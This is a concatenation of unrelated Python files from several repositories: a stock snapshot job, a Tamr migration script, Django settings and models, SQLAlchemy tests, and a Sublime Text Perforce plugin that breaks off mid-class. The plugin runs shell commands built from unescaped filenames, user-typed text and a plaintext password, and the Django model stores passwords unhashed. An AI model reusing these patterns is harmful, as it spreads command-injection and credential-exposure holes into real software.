<gh_stars>1-10 # coding:utf8 import os import sys sys.path.insert(0, os.path.abspath('../')) import logging import pandas as pd from finance.models import Stock, CrontabAction, MarketSnapshot import datetime import pytdx import easyquotation from utils.timeutils import is_tradetime_now from local import local_setting as ls from django.utils import dates """ 定时任务 """ logger = logging.getLogger(__name__) dev = True def my_scheduled_job(): crontab_action = CrontabAction() crontab_action.date = datetime.datetime.now() crontab_action.name = 'my_scheduled_job' crontab_action.description = 'first my schedule job' crontab_action.save() if dev: logger.debug('my_scheduled job') print(str(datetime.datetime.now()) + " my_scheduled_job") def down_market_snapshot(save=True): """ 每半小时获取下市场快照 :return: 市场快照 """ if is_tradetime_now(): date = datetime.datetime.now() dateStr = date.strftime('%Y-%m-%d_%H-%M-%S') quotation = easyquotation.use('sina') snapshot = quotation.market_snapshot(prefix=True) market_snapshot = MarketSnapshot(date=date, context=snapshot) market_snapshot.save() df_snapshot = pd.DataFrame.from_dict(snapshot) df_snapshot = df_snapshot.T df_snapshot.index.name = 'code' if save: df_snapshot.to_csv(ls.LocalSetting.data_path + "mark_snapshot/" + dateStr + ".csv", compression='gzip') return df_snapshot def down_stock_index_snapshot(save=True): quotation = easyquotation.use('sina') content = quotation.stocks(['sh000001', 'sz399001', 'sz399006'], prefix=True) pass def down_interest_stock(): """ 下载感兴趣的股票的分时记录 :return: """ stocks = Stock.Objects.filter(is_interest=True) pass if __name__ == "__main__": df = down_market_snapshot(save=False)

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examples/snippets/dataset/manage/migrate_dataset_changes.py

ErinCompaan/tamr-toolbox

1

121511

""" An example script to migrate changes to a dataset attributes from one instance of Tamr to another """ import tamr_toolbox as tbox # load example multi config my_config = tbox.utils.config.from_yaml("examples/resources/conf/migrate_dataset.config.yaml") # Create the source tamr client source_client = tbox.utils.client.create(**my_config["source_migration_instance"]) # Create the target tamr client target_client = tbox.utils.client.create(**my_config["target_migration_instance"]) # Update each dataset datasets = my_config["datasets"] for ds in datasets: dataset_name = ds["dataset_name"] # Get dataset from source instance source_dataset = source_client.datasets.by_name(dataset_name) # Get updated dataset definition attr_type_dict = { attr.name: tbox.models.attribute_type.from_json(attr.spec().to_dict()["type"]) for attr in source_dataset.attributes } attribute_names = attr_type_dict.keys() description = source_dataset.description tags = source_dataset.tags # Migrate dataset updates from source to target instance if tbox.dataset.manage.exists(client=target_client, dataset_name=dataset_name): target_dataset = target_client.datasets.by_name(dataset_name) tbox.dataset.manage.update( dataset=target_dataset, attributes=attribute_names, attribute_types=attr_type_dict, description=description, tags=tags, override_existing_types=True, ) else: primary_keys = source_dataset.spec().to_dict()["keyAttributeNames"] tbox.dataset.manage.create( client=target_client, primary_keys=primary_keys, dataset=source_dataset, )

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code/debugging-example-pleistocene-overkill.py

Vegpathology/phyto-data-viz

60

105199

<reponame>Vegpathology/phyto-data-viz import numpy as np def mean_mass(masses): """Return the mean of a list of masses""" mean_mass = np.mean(masses) return mean_mass all_data = np.genfromtxt('MOMv3.3.txt', delimiter='\t', dtype=None, names=['continent', 'status', 'order', 'family', 'genus', 'species', 'log10mass', 'mass', 'ref']) continents = all_data['continent'] status = all_data['status'] masses = all_data['mass'] unique_continents = np.unique(continents) results = [] for continent in unique_continents: extinct_masses = masses[(status=='extinct') & (continents==continent)] extant_masses = masses[(status=='extant') & (continents==continent)] avg_extinct_mass = mean_mass(extinct_masses) avg_extant_mass = mean_mass(extant_masses) diff = avg_extant_mass - avg_extinct_mass results.append([continent, avg_extant_mass, avg_extinct_mass, diff]) for line in results: print line

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edd/settings/__init__.py

TeselaGen/jbei-edd

0

96189

<gh_stars>0 # -*- coding: utf-8 -*- """ Settings for the Experiment Data Depot. """ # import baseline settings included in EDD's git repo from .base import * # noqa from .auth import * # noqa from .celery import * # noqa # try to load overridden settings from local.py, if present try: from .local import * # noqa except ImportError as e: print("Did not find local settings; did you rename settings/local.py-example?") # After all settings are imported, do any necessary registration of values try: from jbei.rest.auth import HmacAuth HmacAuth.register_key(ICE_KEY_ID, ICE_SECRET_HMAC_KEY) # noqa except ImportError as e: print("Failed to import REST authenticators; some features may not work.") except Exception as e: print("Failed to register ICE authenticator; connection to ICE may not work: %s" % e)

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tests/test_SQL.py

mfulghum/pyZRD

0

61249

import unittest import sql.db import sql.elements class TestSQLConnection(unittest.TestCase): def test_initialization(self): """ Start up the SQLAlchemy engine and initialize the database, then shut it all down. :return: """ # Initialize the database. session, engine = sql.db.initialize_database(verbose=False) # Check that the database is shut down. self.assertIsNotNone(engine) self.assertIsNotNone(session) # Shut the database down. sql.db.shutdown_database(session, engine) class TestSQLCommit(unittest.TestCase): def setUp(self): """ :return: """ self.session, self.engine = sql.db.initialize_database(verbose=False) def test_commit(self): """ Start up the SQLAlchemy engine and initialize the database :return: """ # First make sure that we have a SQL session self.assertIsNotNone(self.engine) self.assertIsNotNone(self.session) # Create a ray element without assigning an ID ray = sql.elements.Ray() # The ID should be None self.assertIsNone(ray.id) # Add the ray to the session self.session.add(ray) # The ID should *still* be None self.assertIsNone(ray.id) # Commit the change self.session.commit() # Now that the ray has been added, the ray ID should now be 1 self.assertEqual(ray.id, 1) def tearDown(self): """ Shut down the SQL database :return: """ sql.db.shutdown_database(self.session, self.engine)

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APPS/MEMBER/models.py

RockhoRockho/Project_FG

1

191987

<gh_stars>1-10 from django.db import models class Member(models.Model): member_id = models.AutoField(primary_key=True, verbose_name='회원ID') username = models.CharField(max_length=30, verbose_name='아이디') pw = models.CharField(max_length=30, verbose_name='비밀번호') name = models.CharField(max_length=30, verbose_name='이름') gender = models.CharField(max_length=2, verbose_name='성별') email = models.EmailField(max_length=30, verbose_name='이메일') phoneNum = models.IntegerField(verbose_name='폰번호') birth = models.DateField(verbose_name='생년월일') class Meta: db_table = 'member' verbose_name='회원' verbose_name_plural='회원들' def __str__(self): return f'{self.pk} : {self.username}'

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Perforce.py

zillow/Sublime-Text-2-Perforce-Plugin

0

84920

# Written by <NAME> (<EMAIL> / www.ericmartel.com) # Available commands are listed in Default.sublime-commands # changelog # <NAME> - first implementation of add / checkout # <NAME> & <NAME> - handling of forward slashes in clientspec folder # <NAME> & <NAME> - first implementation of revert # <NAME> - first implementation of diff # <NAME> - first implementation of Graphical Diff from Depot # <NAME> - first pass on changelist manipulation # <NAME> - first implementation for rename / delete & added on_modified as a condition to checkout a file # <NAME> - bug fix for better support of client workspaces # <NAME> - better handling of clientspecs # <NAME> - parameterized graphical diff # <NAME> & adecold - only list pending changelists belonging to the current user # <NAME> - source bash_profile when calling p4 on Mac OSX # <NAME> - first implementation of submit # <NAME> - Better handling of P4CONFIG files # <NAME> & <NAME> - threading of the diff task and selector for the graphical diff application # <NAME> - Added the possibility to Submit the default changelist # <NAME> - Added a way to pass p4env parameters to the command building function import sublime import sublime_plugin import os import stat import subprocess import tempfile import threading import json import sys try: from Queue import Queue, Empty except ImportError: from queue import Queue, Empty # python 3.x # Plugin Settings are located in 'perforce.sublime-settings' make a copy in the User folder to keep changes # global variable used when calling p4 - it stores the path of the file in the current view, used to determine with P4CONFIG to use # whenever a view is selected, the variable gets updated global_folder = '' command_prefix = None class PerforceP4CONFIGHandler(sublime_plugin.EventListener): def on_activated(self, view): if view.file_name(): global global_folder global_folder, filename = os.path.split(view.file_name()) if sublime is not None: global command_prefix if command_prefix is None: command_prefix = getCommandPrefix() # Executed at startup to store the path of the plugin... necessary to open files relative to the plugin perforceplugin_dir = os.getcwdu() def getCommandPrefix(): perforce_settings = sublime.load_settings('Perforce.sublime-settings') p4Env = perforce_settings.get('perforce_p4env') if(p4Env and p4Env != ''): return 'source ' + p4Env + ' && ' elif(sublime.platform() == "osx"): return 'source ~/.bash_profile && ' # Revert change until threading is fixed # command_prefix = getPerforceConfigFromPreferences(command) return '' # Utility functions def ConstructCommand(in_command): return command_prefix + in_command if command_prefix is not None else in_command; def getPerforceConfigFromPreferences(command): perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check to see if the sublime preferences include the given p4 config # if it does, then add it to the command in the form "var=value command" # so that they get inserted into the environment the command runs in def addP4Var(command, var): p4var = perforce_settings.get(var) if p4var: if sublime.platform() == "windows": return command + "SET " + var + "=" + p4var + " && " return command + var + "=" + p4var + " " return command command = addP4Var(command, "P4PORT") command = addP4Var(command, "P4CLIENT") command = addP4Var(command, "P4USER") command = addP4Var(command, "P4PASSWD") return command def GetUserFromClientspec(): command = ConstructCommand('p4 info') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser("usererr " + err.strip()) return -1 # locate the line containing "User name: " and extract the following name startindex = result.find("User name: ") if(startindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 startindex += 11 # advance after 'User name: ' endindex = result.find("\n", startindex) if(endindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 return result[startindex:endindex].strip(); def GetClientRoot(in_dir): # check if the file is in the depot command = ConstructCommand('p4 info') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser(err.strip()) return -1 # locate the line containing "Client root: " and extract the following path startindex = result.find("Client root: ") if(startindex == -1): # sometimes the clientspec is not displayed sublime.error_message("Perforce Plugin: p4 info didn't supply a valid clientspec, launching p4 client"); command = ConstructCommand('p4 client') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() return -1 startindex += 13 # advance after 'Client root: ' endindex = result.find("\n", startindex) if(endindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 # convert all paths to "os.sep" slashes convertedclientroot = result[startindex:endindex].strip().replace('\\', os.sep).replace('/', os.sep) return convertedclientroot def IsFolderUnderClientRoot(in_folder): # check if the file is in the depot clientroot = GetClientRoot(in_folder) if(clientroot == -1): return 0 clientroot = clientroot.lower() if(clientroot == "null"): return 1 # convert all paths to "os.sep" slashes convertedfolder = in_folder.lower().replace('\\', os.sep).replace('/', os.sep); clientrootindex = convertedfolder.find(clientroot); if(clientrootindex == -1): return 0 return 1 def IsFileInDepot(in_folder, in_filename): isUnderClientRoot = IsFolderUnderClientRoot(in_folder); if(os.path.isfile(os.path.join(in_folder, in_filename))): # file exists on disk, not being added if(isUnderClientRoot): return 1 else: return 0 else: if(isUnderClientRoot): return -1 # will be in the depot, it's being added else: return 0 def GetPendingChangelists(): # Launch p4 changes to retrieve all the pending changelists currentuser = GetUserFromClientspec() if(currentuser == -1): return 0, "Unexpected output from 'p4 info'." command = ConstructCommand('p4 changes -s pending -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result return 0, result def AppendToChangelistDescription(changelist, input): # First, create an empty changelist, we will then get the cl number and set the description command = ConstructCommand('p4 change -o ' + changelist) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err # Find the description field and modify it lines = result.splitlines() descriptionindex = -1 for index, line in enumerate(lines): if(line.strip() == "Description:"): descriptionindex = index break; filesindex = -1 for index, line in enumerate(lines): if(line.strip() == "Files:"): filesindex = index break; if(filesindex == -1): # The changelist is empty endindex = index else: endindex = filesindex - 1 perforce_settings = sublime.load_settings('Perforce.sublime-settings') lines.insert(endindex , "\t" + input) temp_changelist_description_file = open(os.path.join(tempfile.gettempdir(), "tempchangelist.txt"), 'w') try: temp_changelist_description_file.write(perforce_settings.get('perforce_end_line_separator').join(lines)) finally: temp_changelist_description_file.close() command = ConstructCommand('p4 change -i < ' + temp_changelist_description_file.name) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(temp_changelist_description_file.name) if(err): return 0, err return 1, result def PerforceCommandOnFile(in_command, in_folder, in_filename): command = ConstructCommand('p4 ' + in_command + ' "' + in_filename + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result.strip() else: return 0, err.strip() def WarnUser(message): perforce_settings = sublime.load_settings('Perforce.sublime-settings') if(perforce_settings.get('perforce_warnings_enabled')): if(perforce_settings.get('perforce_log_warnings_to_status')): sublime.status_message("Perforce [warning]: " + message) else: print "Perforce [warning]: " + message def LogResults(success, message): if(success >= 0): print "Perforce: " + message else: WarnUser(message); def IsFileWritable(in_filename): if(not in_filename): return 0 # if it doesn't exist, it's "writable" if(not os.path.isfile(in_filename)): return 1 filestats = os.stat(in_filename)[0]; if(filestats & stat.S_IWRITE): return 1 return 0 # Checkout section def Checkout(in_filename): if(IsFileWritable(in_filename)): return -1, "File is already writable." folder_name, filename = os.path.split(in_filename) isInDepot = IsFileInDepot(folder_name, filename) if(isInDepot != 1): return -1, "File is not under the client root." # check out the file return PerforceCommandOnFile("edit", folder_name, in_filename); class PerforceAutoCheckout(sublime_plugin.EventListener): def on_modified(self, view): if(not view.file_name()): return if(IsFileWritable(view.file_name())): return perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_checkout') or not perforce_settings.get('perforce_auto_checkout_on_modified')): return if(view.is_dirty()): success, message = Checkout(view.file_name()) LogResults(success, message); def on_pre_save(self, view): perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_checkout') or not perforce_settings.get('perforce_auto_checkout_on_save')): return if(view.is_dirty()): success, message = Checkout(view.file_name()) LogResults(success, message); class PerforceCheckoutCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): success, message = Checkout(self.view.file_name()) LogResults(success, message) else: WarnUser("View does not contain a file") # Add section def Add(in_folder, in_filename): # add the file return PerforceCommandOnFile("add", in_folder, in_filename); class PerforceAutoAdd(sublime_plugin.EventListener): preSaveIsFileInDepot = 0 def on_pre_save(self, view): # file already exists, no need to add if view.file_name() and os.path.isfile(view.file_name()): return global global_folder global_folder, filename = os.path.split(view.file_name()) perforce_settings = sublime.load_settings('Perforce.sublime-settings') self.preSaveIsFileInDepot = 0 # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_add')): WarnUser("Auto Add disabled") return folder_name, filename = os.path.split(view.file_name()) self.preSaveIsFileInDepot = IsFileInDepot(folder_name, filename) def on_post_save(self, view): if(self.preSaveIsFileInDepot == -1): folder_name, filename = os.path.split(view.file_name()) success, message = Add(folder_name, filename) LogResults(success, message) class PerforceAddCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Add(folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Rename section def Rename(in_filename, in_newname): command = ConstructCommand('p4 integrate -d -t -Di -f "' + in_filename + '" "' + in_newname + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err.strip() command = ConstructCommand('p4 delete "' + in_filename + '" "' + in_newname + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result.strip() else: return 0, err.strip() class PerforceRenameCommand(sublime_plugin.WindowCommand): def run(self): # Get the description self.window.show_input_panel('New File Name', self.window.active_view().file_name(), self.on_done, self.on_change, self.on_cancel) def on_done(self, input): success, message = Rename(self.window.active_view().file_name(), input) if(success): self.window.run_command('close') self.window.open_file(input) LogResults(success, message) def on_change(self, input): pass def on_cancel(self): pass # Delete section def Delete(in_folder, in_filename): success, message = PerforceCommandOnFile("delete", in_folder, in_filename) if(success): # test if the file is deleted if(os.path.isfile(os.path.join(in_folder, in_filename))): success = 0 return success, message class PerforceDeleteCommand(sublime_plugin.WindowCommand): def run(self): if(self.window.active_view().file_name()): folder_name, filename = os.path.split(self.window.active_view().file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Delete(folder_name, filename) if(success): # the file was properly deleted on perforce, ask Sublime Text to close the view self.window.run_command('close'); else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Revert section def Revert(in_folder, in_filename): # revert the file return PerforceCommandOnFile("revert", in_folder, in_filename); class PerforceRevertCommand(sublime_plugin.TextCommand): def run_(self, args): # revert cannot be called when an Edit object exists, manually handle the run routine if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Revert(folder_name, filename) if(success): # the file was properly reverted, ask Sublime Text to refresh the view self.view.run_command('revert'); else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Diff section def Diff(in_folder, in_filename): # diff the file return PerforceCommandOnFile("diff", in_folder, in_filename); class PerforceDiffCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Diff(folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Graphical Diff With Depot section class GraphicalDiffThread(threading.Thread): def __init__(self, in_folder, in_filename, in_endlineseparator, in_command): self.folder = in_folder self.filename = in_filename self.endlineseparator = in_endlineseparator self.command = in_command threading.Thread.__init__(self) def run(self): success, content = PerforceCommandOnFile("print", self.folder, self.filename) if(not success): return 0, content # Create a temporary file to hold the depot version depotFileName = "depot"+self.filename tmp_file = open(os.path.join(tempfile.gettempdir(), depotFileName), 'w') # Remove the first two lines of content linebyline = content.splitlines(); content=self.endlineseparator.join(linebyline[1:]); try: tmp_file.write(content) finally: tmp_file.close() # Launch P4Diff with both files and the same arguments P4Win passes it diffCommand = self.command diffCommand = diffCommand.replace('%depotfile_path', tmp_file.name) diffCommand = diffCommand.replace('%depotfile_name', depotFileName) diffCommand = diffCommand.replace('%file_path', os.path.join(self.folder, self.filename)) diffCommand = diffCommand.replace('%file_name', self.filename) command = ConstructCommand(diffCommand) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(tmp_file.name); def GraphicalDiffWithDepot(self, in_folder, in_filename): perforce_settings = sublime.load_settings('Perforce.sublime-settings') diffcommand = perforce_settings.get('perforce_selectedgraphicaldiffapp_command') if not diffcommand: diffcommand = perforce_settings.get('perforce_default_graphical_diff_command') GraphicalDiffThread(in_folder, in_filename, perforce_settings.get('perforce_end_line_separator'), diffcommand).start() return 1, "Launching thread for Graphical Diff" class PerforceGraphicalDiffWithDepotCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = GraphicalDiffWithDepot(self, folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") class PerforceSelectGraphicalDiffApplicationCommand(sublime_plugin.WindowCommand): def run(self): diffapps = [] if os.path.exists(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json'): f = open(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json') applications = json.load(f) f.close() for entry in applications.get('applications'): formattedentry = [] formattedentry.append(entry.get('name')) formattedentry.append(entry.get('exename')) diffapps.append(formattedentry) self.window.show_quick_panel(diffapps, self.on_done) def on_done(self, picked): if picked == -1: return f = open(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json') applications = json.load(f) entry = applications.get('applications')[picked] f.close() sublime.status_message(__name__ + ': Please make sure that ' + entry['exename'] + " is reachable - you might need to restart Sublime Text 2.") settings = sublime.load_settings('Perforce.sublime-settings') settings.set('perforce_selectedgraphicaldiffapp', entry['name']) settings.set('perforce_selectedgraphicaldiffapp_command', entry['diffcommand']) sublime.save_settings('Perforce.sublime-settings') # List Checked Out Files section class ListCheckedOutFilesThread(threading.Thread): def __init__(self, window): self.window = window threading.Thread.__init__(self) def ConvertFileNameToFileOnDisk(self, in_filename): clientroot = GetClientRoot(os.path.dirname(in_filename)) if(clientroot == -1): return 0 if(clientroot == "null"): return in_filename filename = clientroot + os.sep + in_filename.replace('\\', os.sep).replace('/', os.sep) return filename def MakeFileListFromChangelist(self, in_changelistline): files_list = [] currentuser = GetUserFromClientspec() # Launch p4 opened to retrieve all files from changelist command = ConstructCommand('p4 opened -c ' + in_changelistline[1] + ' -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): lines = result.splitlines() for line in lines: # remove the change # poundindex = line.rfind('#') cleanedfile = line[0:poundindex] # just keep the filename cleanedfile = '/'.join(cleanedfile.split('/')[3:]) file_entry = [cleanedfile[cleanedfile.rfind('/')+1:]] file_entry.append("Changelist: " + in_changelistline[1]) file_entry.append(' '.join(in_changelistline[7:])); localfile = self.ConvertFileNameToFileOnDisk(cleanedfile) if(localfile != 0): file_entry.append(localfile) files_list.append(file_entry) return files_list def MakeCheckedOutFileList(self): files_list = self.MakeFileListFromChangelist(['','default','','','','','','Default Changelist']); currentuser = GetUserFromClientspec() if(currentuser == -1): return files_list # Launch p4 changes to retrieve all the pending changelists command = ConstructCommand('p4 changes -s pending -u ' + currentuser); p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): changelists = result.splitlines() # for each line, extract the change, and run p4 opened on it to list all the files for changelistline in changelists: changelistlinesplit = changelistline.split(' ') files_list.extend(self.MakeFileListFromChangelist(changelistlinesplit)) return files_list def run(self): self.files_list = self.MakeCheckedOutFileList() def show_quick_panel(): if not self.files_list: sublime.error_message(__name__ + ': There are no checked out files to list.') return self.window.show_quick_panel(self.files_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return file_name = self.files_list[picked][3] def open_file(): self.window.open_file(file_name) sublime.set_timeout(open_file, 10) class PerforceListCheckedOutFilesCommand(sublime_plugin.WindowCommand): def run(self): ListCheckedOutFilesThread(self.window).start() # Create Changelist section def CreateChangelist(description): # First, create an empty changelist, we will then get the cl number and set the description command = ConstructCommand('p4 change -o') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err # Find the description field and modify it desclabel = 'Description:' + os.linesep descindex = result.find(desclabel) + len(desclabel) descend = result.find(os.linesep*2, descindex) result = result[0:descindex] + '\t' + description + result[descend:] # Remove all files from the query, we want them to stay in Default filesindex = result.rfind("Files:") # The Files: section we want to get rid of is only present if there's files in the default changelist if(filesindex > 640): result = result[0:filesindex]; temp_changelist_description_file = open(os.path.join(tempfile.gettempdir(), "tempchangelist.txt"), 'w') try: temp_changelist_description_file.write(result) finally: temp_changelist_description_file.close() command = ConstructCommand('p4 change -i < ' + temp_changelist_description_file.name) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(temp_changelist_description_file.name) if(err): return 0, err return 1, result class PerforceCreateChangelistCommand(sublime_plugin.WindowCommand): def run(self): # Get the description self.window.show_input_panel('Changelist Description', '', self.on_done, self.on_change, self.on_cancel) def on_done(self, input): success, message = CreateChangelist(input) LogResults(success, message) def on_change(self, input): pass def on_cancel(self): pass # Move Current File to Changelist def MoveFileToChangelist(in_filename, in_changelist): folder_name, filename = os.path.split(in_filename) command = ConstructCommand('p4 reopen -c ' + in_changelist + ' "' + filename + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err return 1, result class ListChangelistsAndMoveFileThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = ['New', 'Default']; if(success): changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at two because we receive the changelist in the opposite order and want to keep new and default on top resultchangelists.insert(2, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked].split(' ') def move_file(): changelist = 'Default' if(len(changelistlist) > 1): # Numbered changelist changelist = changelistlist[1] else: changelist = changelistlist[0] if(changelist == 'New'): # Special Case self.window.show_input_panel('Changelist Description', '', self.on_description_done, self.on_description_change, self.on_description_cancel) else: success, message = MoveFileToChangelist(self.view.file_name(), changelist.lower()) LogResults(success, message); sublime.set_timeout(move_file, 10) def on_description_done(self, input): success, message = CreateChangelist(input) if(success == 1): # Extract the changelist name from the message changelist = message.split(' ')[1] # Move the file success, message = MoveFileToChangelist(self.view.file_name(), changelist) LogResults(success, message) def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceMoveCurrentFileToChangelistCommand(sublime_plugin.WindowCommand): def run(self): # first, test if the file is under the client root folder_name, filename = os.path.split(self.window.active_view().file_name()) isInDepot = IsFileInDepot(folder_name, filename) if(isInDepot != 1): WarnUser("File is not under the client root.") return 0 ListChangelistsAndMoveFileThread(self.window).start() # Add Line to Changelist Description class AddLineToChangelistDescriptionThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = []; if(success): changelists = rawchangelists.splitlines() # for each line, extract the change, and run p4 opened on it to list all the files for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at zero because we receive the changelist in the opposite order # Might be more efficient to sort... changelist_entry = ["Changelist " + changelistlinesplit[1]] changelist_entry.append(' '.join(changelistlinesplit[7:])); resultchangelists.insert(0, changelist_entry) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked][0].split(' ') def get_description_line(): self.changelist = changelistlist[1] self.window.show_input_panel('Changelist Description', '', self.on_description_done, self.on_description_change, self.on_description_cancel) sublime.set_timeout(get_description_line, 10) def on_description_done(self, input): success, message = AppendToChangelistDescription(self.changelist, input) LogResults(success, message) def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceAddLineToChangelistDescriptionCommand(sublime_plugin.WindowCommand): def run(self): AddLineToChangelistDescriptionThread(self.window).start() # Submit section class SubmitThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = ['Default']; currentuser = GetUserFromClientspec(); command = ConstructCommand('p4 opened -c default -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if err: resultchangelists.pop() if success: changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at two because we receive the changelist in the opposite order and want to keep default on top resultchangelists.insert(1, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelist = self.changelists_list[picked] changelistsections = changelist.split(' ') command = '' # Check in the selected changelist if changelistsections[0] != 'Default': command = ConstructCommand('p4 submit -c ' + changelistsections[1]); else: command = ConstructCommand('p4 submit') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceSubmitCommand(sublime_plugin.WindowCommand): def run(self): SubmitThread(self.window).start() class PerforceLogoutCommand(sublime_plugin.WindowCommand): def run(self): try: command = ConstructCommand("p4 set P4PASSWD=") p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() except ValueError: pass class PerforceLoginCommand(sublime_plugin.WindowCommand): def run(self): self.window.show_input_panel("Enter Perforce Password", "", self.on_done, None, None) def on_done(self, password): try: command = ConstructCommand("p4 logout") p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() #unset var command = ConstructCommand("p4 set P4PASSWD=" + password) p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() except ValueError: pass class PerforceUnshelveClCommand(sublime_plugin.WindowCommand): def run(self): try: ShelveClCommand(self.window, False).start() except: WarnUser("Unknown Error, does the included P4 Version support Shelve?") return -1 class PerforceShelveClCommand(sublime_plugin.WindowCommand): def run(self): try: ShelveClCommand(self.window, True).start() except: WarnUser("Unknown Error, does the included P4 Version support Shelve?") return -1 class ShelveClCommand(threading.Thread): def __init__(self, window, 